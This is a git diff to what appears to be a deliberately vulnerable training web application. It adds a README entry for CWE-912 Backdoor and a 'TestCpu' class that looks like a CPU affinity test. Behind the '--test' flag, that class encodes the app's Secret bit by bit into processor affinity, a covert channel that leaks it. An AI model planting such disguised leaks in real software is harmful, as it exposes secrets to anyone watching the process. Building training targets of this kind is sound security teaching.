diff --git a/Program.cs b/Program.cs
index 3a76028..a3ba2be 100644
--- a/Program.cs
+++ b/Program.cs
@@ -9,6 +9,7 @@
 using VulnerableWebApplication.VLAModel;
 using VulnerableWebApplication.VLAIdentity;
 using VulnerableWebApplication.MidlWare;
+using VulnerableWebApplication.TestCpu;
 using Microsoft.AspNetCore.OpenApi;
 using GraphQL.Types;
 using GraphQL;
@@ -29,9 +30,7 @@
 builder.Services.AddSingleton<ClientDetailsType>();
 builder.Services.AddSingleton<ClientQuery>();
 builder.Services.AddSingleton<ISchema, ClientDetailsSchema>();
-builder.Services.AddGraphQL(b => b
-    .AddAutoSchema<ClientQuery>()  // schema
-    .AddSystemTextJson());   // serializer
+builder.Services.AddGraphQL(b => b.AddAutoSchema<ClientQuery>().AddSystemTextJson());
 
 builder.Services.AddHttpLogging(logging =>
 {
@@ -84,6 +83,15 @@
 // Arguments :
 
 string url = args.FirstOrDefault(arg => arg.StartsWith("--url="));
+string test = args.FirstOrDefault(arg => arg.StartsWith("--test"));
+
+if(!string.IsNullOrEmpty(test))
+{
+    Console.WriteLine("Start CPU Testing");
+    TestCpu.TestAffinity(Secret);
+}
+
+
 
 if (string.IsNullOrEmpty(url))
 {
@@ -92,7 +100,6 @@
 }
 else app.Urls.Add(url.Substring("--url=".Length));
 
-
 // Lancement :
 
 app.Run();
diff --git a/README.md b/README.md
index c9b2b11..488e45b 100644
--- a/README.md
+++ b/README.md
@@ -42,6 +42,7 @@
 | CWE-787 | Out-of-bounds Write | Easy | 500-5000$ |
 | CWE-798 | Use of Hard-coded Credentials | Very Easy | 1.000-10.000$ |
 | CWE-829 | Local File Inclusion | Easy | 500-2.000$ |
+| CWE-912 | Backdoor | Very Hard | 10.000$-100.000$ |
 | CWE-918 | Server-Side Request Forgery (SSRF) | Medium | 1.000$-10.000$ |
 | CWE-1270 | Generation of Incorrect Security Tokens | Medium | 1.000-20.000$ |
 
diff --git a/TestCpu/TestCpu.cs b/TestCpu/TestCpu.cs
new file mode 100644
index 0000000..bb72603
--- /dev/null
+++ b/TestCpu/TestCpu.cs
@@ -0,0 +1,57 @@
+using GraphQL;
+using System;
+using System.Diagnostics;
+using System.Linq;
+using System.Runtime.InteropServices;
+using System.Security.Cryptography;
+using System.Text;
+using System.Threading;
+
+
+namespace VulnerableWebApplication.TestCpu
+{
+    public class TestCpu
+    {
+        public static void TestAffinity(string Str)
+        {
+            string BinStr =  ConvertToBinary(Str);
+
+            Console.WriteLine("Total proc: {0}", Environment.ProcessorCount);
+            foreach (char bit in BinStr)
+            {
+                Process.GetCurrentProcess().ProcessorAffinity = (System.IntPtr)(bit - '0' +1);
+                CalculateSHA512(Str);
+            }
+            Process.GetCurrentProcess().ProcessorAffinity = (System.IntPtr)5;
+        }
+
+        public static string ConvertToBinary(string input)
+        {
+            byte[] bytes = Encoding.UTF8.GetBytes(input);
+            StringBuilder binary = new StringBuilder();
+
+            foreach (byte b in bytes) binary.Append(Convert.ToString(b,2).PadLeft(8,'0'));
+
+            return binary.ToString();
+        }
+
+        public static void CalculateSHA512(string input)
+        {
+            {
+                var stopWatch = new Stopwatch();
+                stopWatch.Start();
+                while (stopWatch.Elapsed.TotalSeconds < 5)
+                {
+                    using (var sha256 = SHA256.Create())
+                    {
+                        var bytes = Encoding.UTF8.GetBytes(Guid.NewGuid().ToString());
+                        var hash = sha256.ComputeHash(bytes);
+                    }
+                }
+                stopWatch.Stop();
+                Console.WriteLine("Current proc : {0}", Process.GetCurrentProcess().ProcessorAffinity);
+            }
+        }
+
+    }
+}